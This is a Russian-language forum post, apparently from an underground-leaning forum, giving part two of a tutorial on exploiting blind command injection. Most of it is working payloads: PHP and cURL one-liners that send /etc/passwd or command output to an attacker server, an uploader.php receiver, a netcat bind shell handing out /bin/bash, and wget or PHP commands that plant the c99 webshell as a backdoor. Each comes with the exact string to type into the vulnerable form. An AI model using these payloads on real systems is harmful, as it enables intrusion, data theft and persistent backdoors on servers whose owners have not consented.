✍️ Статья Эксплуатация уязвимости «слепое внедрение команд» (blind command injection). Часть 2

The 146X Project Dublikat Web Studio Avram Lincoln AL Service Navigator Knyaz

BlackPope

Команда форума
Модератор DeepWeb ✔️
PR-Group DeepWeb 🔷
Регистрация
27.04.2020
Сообщения
230
Поскольку никакая информация не выводится, нам нужно использовать что-то более сложное, чем внедрение команды «cat ИМЯ-ФАЙЛА».

В качестве полезной нагрузки (основанной только на PHP) можно использовать следующее:

php -r 'file_get_contents("http://IP-АТАКУЮЩЕГО/c.php?b=" . base64_encode(file_get_contents("/ПУТЬ/ДО/ФАЙЛА")));'

В приведённой полезной нагрузке нужно указать свои значения для:
  • IP-АТАКУЮЩЕГО
  • /ПУТЬ/ДО/ФАЙЛА
Пример для моего случая:

php -r 'file_get_contents("http://192.168.56.104/c.php?b=" . base64_encode(file_get_contents("/etc/passwd")));'

Тогда в поле ввода сообщения администратору сайта HackWare.ru я ввожу:

Привет, это проверка; php -r 'file_get_contents("http://192.168.56.104/c.php?b=" . base64_encode(file_get_contents("/etc/passwd")));'; #

В результате атакующий получит содержимое файла /etc/passwd

jGez-FqQj1Q.jpg

В этом примере данные передаются методом GET и являются частью URL, длина которой ограничена, то есть так можно передавать только небольшие файлы.

Другой вариант основан на cURL + POST. На сервере создайте файл uploader.php:

<?php

if (!empty ($_FILES)) {
$uploaddir = '/srv/http/upload/'; # укажите папку для загрузки, в которую у сервера есть права записи!
$uploadfile = $uploaddir . basename($_FILES['file']['name']);

if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "OK.\n";
}

else {
echo "NOT OK!\n";
}
}

else {
echo 'I did not get POST!';
}


В качестве полезной нагрузки, запустите команду вида:

curl -F "[email protected]/путь/до/файла" СЕРВЕР/uploader.php

Обратите внимание на символ @ - он нужен для того, чтобы параметру file было присвоено не значение строки «/путь/до/файла», а содержимое того самого файла, который находится по пути /путь/до/файла.

Пример команды:

curl -F "[email protected]/etc/passwd" 192.168.56.104/uploader.php

Как посмотреть результат выполнения команды при слепом внедрении команд

Теперь, когда мы умеем копировать файлы с удалённого компьютера, результат выполнения любой команды достаточно скопировать в файл (директория /tmp всегда доступна для записи) и затем выгрузить этот файл себе.

Можно вовсе обойтись без создания промежуточного файла — сразу отправить данные атакующему.

В качестве полезной нагрузки (основанной только на PHP) можно использовать следующее:

php -r 'file_get_contents("http://IP-АТАКУЮЩЕГО/c.php?b=" . base64_encode(`КОМАНДА`));'

В приведённой полезной нагрузке нужно указать свои значения для:
  • IP-АТАКУЮЩЕГО
  • КОМАНДА
К примеру, я хочу выполнить команду «traceroute suip.biz», тогда полезная нагрузка выглядит так:

php -r 'file_get_contents("http://192.168.56.104/c.php?b=" . base64_encode(`traceroute suip.biz`));'

И в поле ввода сообщения администратору сайта HackWare.ru я ввожу:

Привет, это проверка; php -r 'file_get_contents("http://192.168.56.104/c.php?b=" . base64_encode(`traceroute suip.biz`));'; #

Показанный выше способ ограничен объёмом данных, которые можно передать методом GET, но зато использует чистый PHP.

Если на удалённой машине есть cURL, то данные можно передавать методом POST, без каких либо ограничений. Для этого используйте полезную нагрузку вида:

curl -d "q=`КОМАНДА`" http://192.168.56.104/c.php

Например:

curl -d "q=`ls -l`" http://192.168.56.104/c.php

В поле ввода уязвимого «сайта» вводим:

Привет, это проверка; curl -d "q=`ls -l`" http://192.168.56.104/c.php; #

На самом деле, можно использовать и вариант чистый PHP + POST. Например, можно использовать встроенную в PHP команду cURL. Или отправлять данные в функции file_get_contents методом POST.

Сканер портов. Как посмотреть открытые порты

Вместо сканирования портов, попробуйте удалённо выполнить команду (более современная):

ss -tulpn

Либо более старую команду:

netstat -tulpn

Открытие нового шелла через слепое внедрение команд

С помощью netcat можно открыть шелл на уязвимой системе — если это удастся, то всё станет намного проще.

Пример полезной нагрурзки:

nc -l -e "/bin/bash" -p 43210

Строка для поля ввода на сайте:

Привет, это проверка; nc -l -e "/bin/bash" -p 43210; #

Теперь атакующий может подключиться к уязвимому серверу командой вида:

ncat IP-ЖЕРТВЫ 43210

Например:

ncat 192.168.56.1 43210

В открывшемся шелле можно выполнять любые команды Bash.

X_NaiNc6Xu8.jpg

Вы можете закачать на сервер бэкдор, полезной нагрузкой вида:

wget -O /var/www/html/helper.php https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php

Или:

php -r 'file_put_contents("shell.php",file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"));'

Или бэкдоры для последующей эксплуатации:
Либо любой из Webshells.

Но проблема в том, что по умолчанию в Linux владельцем папок веб-сервера является пользователь root, а сайты работают от пользователя веб-сервер. У этого пользователя нет прав на запись в папки root, хотя он может читать многие файлы. То есть неприятность заключается в том, что можно закачать на сервер любые файлы, но их практически невозможно сохранить. Нужно найти папку с правами записи, но папка /tmp не подойдёт — нужна папка с правами записи внутри директорий веб-сервера.

Если сервер работает на Windows, то там обычно проще — администраторы серверов Windows не всегда заботятся о правах доступа к файлам и папкам.

Заключение

Итак, при эксплуатации слепой инъекции команд мы можем сделать довольно много. Помните, что кроме выполнения команд Bash и запуска утилит Linux, вы можете выполнять код PHP.

Обычно невозможно записать в директории веб-сервера, но всегда можно сохранить файлы в /tmp. Это может понадобиться для загрузки на сервер дополнительных инструментов, для поиска проблем с безопасностью и эксплуатации.
 

📌 Золотая реклама

AnonPaste

Верх